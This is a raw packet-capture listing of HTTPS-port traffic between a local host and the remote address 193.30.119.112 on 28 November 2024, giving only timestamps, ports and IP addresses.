                                                                                                                                                                Nov 28, 2024 11:02:05.818386078 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.818393946 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.818438053 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.818808079 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.818814993 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.821604013 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.821611881 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.821639061 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.821676016 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.821690083 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.821719885 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.821732044 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.826297998 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.826308966 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.826380968 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.826395035 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.829793930 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.829803944 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.829866886 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.829881907 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.833441019 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.833450079 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.833513975 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.833534002 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.838028908 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.838068962 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.838109016 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.838123083 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.838171005 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.841701984 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.841711044 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.841778040 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.841798067 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.846626043 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.846718073 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.846731901 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.849301100 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.849493980 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.849507093 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.854007006 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.854075909 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.854089975 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.857554913 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.857625961 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.857641935 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.862118959 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.862200975 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.862215042 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.865710020 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.865781069 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.865792990 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.869376898 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:05.869453907 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:05.869467974 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.011492968 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.011639118 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.011672974 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.015055895 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.015069962 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.015103102 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.015119076 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.015139103 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.015180111 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.019608974 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.019618034 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.019642115 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.019661903 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.019678116 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.019682884 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.023237944 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.023247004 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.023268938 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.023293018 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.023305893 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.023353100 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.027863979 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.027873039 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.027894974 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.027934074 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.027934074 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.027956963 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.031407118 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.031416893 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.031462908 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.031476974 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.035032988 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.035041094 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.035089016 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.035103083 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.039633036 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.039671898 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.039706945 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.039720058 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.039767981 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.043164968 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.043174028 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.043234110 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.043245077 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.047385931 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.047452927 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.047466040 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.050939083 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.051000118 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.051012993 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.055535078 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.055592060 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.055604935 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.059129953 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.059297085 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.059309959 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.062709093 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.062768936 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.062783003 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.067337990 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.067399025 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.067410946 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.071008921 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.071073055 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.071091890 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.213635921 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.213886976 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.213920116 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.217168093 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.217176914 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.217205048 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.217242956 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.217262030 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.217324018 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.220760107 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.220768929 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.220793009 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.220829964 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.224395990 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.225400925 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.225409985 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.225434065 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.225466013 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.228398085 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.228945017 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.228954077 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.228980064 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.229010105 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.232394934 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.232577085 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.232585907 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.232630014 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.232641935 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.237179041 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.237188101 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.237246990 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.237262964 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.240838051 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.240869999 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.240900040 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.240916014 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.240957975 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.245290041 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.245297909 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.245357990 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.245371103 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.248999119 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.249062061 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.249075890 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.253104925 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.253187895 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.253202915 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.257636070 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.257690907 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.257704973 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.260261059 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.260334969 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.260348082 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.262155056 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.264834881 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.264899969 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.264911890 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.268579006 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.268753052 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.268764973 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.272264957 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.272336960 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.272349119 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.415447950 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.415590048 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.415621996 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.418833017 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.418842077 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.418872118 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.418909073 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.418930054 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.418978930 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.422441006 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.422449112 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.422477007 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.422496080 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.422513008 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.427119970 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.427129030 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.427153111 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.427170992 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.427190065 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.430628061 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.430635929 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.430685997 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.430700064 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.434247017 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.434256077 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.434303999 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.434320927 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.438823938 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.438832045 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.438879967 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.438894987 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.442487001 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.442496061 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.442544937 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.442559004 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.446325064 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.446355104 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.446383953 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.446396112 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.446435928 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.450247049 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.450256109 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.450299978 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.450314045 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.454725027 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.454787016 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.454801083 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.458286047 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.458415985 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.458429098 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.461971045 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.462033987 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.462047100 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.466559887 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.466622114 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.466641903 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.470200062 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.470261097 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.470274925 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.473715067 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.473768950 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.473783016 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.616555929 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.616636038 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.616662979 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.620465994 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.620476961 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.620508909 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.620532036 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.620554924 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.620592117 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.624201059 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.624242067 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.624263048 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.624277115 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.624285936 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.624314070 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.624335051 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.627635002 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.627641916 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.627675056 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.627702951 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.627722979 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.627763987 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.632287025 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.632294893 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.632318020 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.632349014 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.632369041 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.635865927 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.635874033 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.635953903 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.635968924 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.639384031 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.639415979 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.639456034 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.639471054 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.639516115 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.644176960 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.644185066 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.644248962 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.644265890 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.651443005 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.651515007 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.651529074 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.651736021 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.651791096 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.651798964 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.655380964 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.655445099 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.655459881 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.659895897 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.659971952 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.659987926 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.663963079 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.664120913 CET49174443192.168.2.22193.30.119.112
                                                                                                                                                                Nov 28, 2024 11:02:06.664134979 CET44349174193.30.119.112192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:06.667078018 CET44349174193.30.119.112192.168.2.22
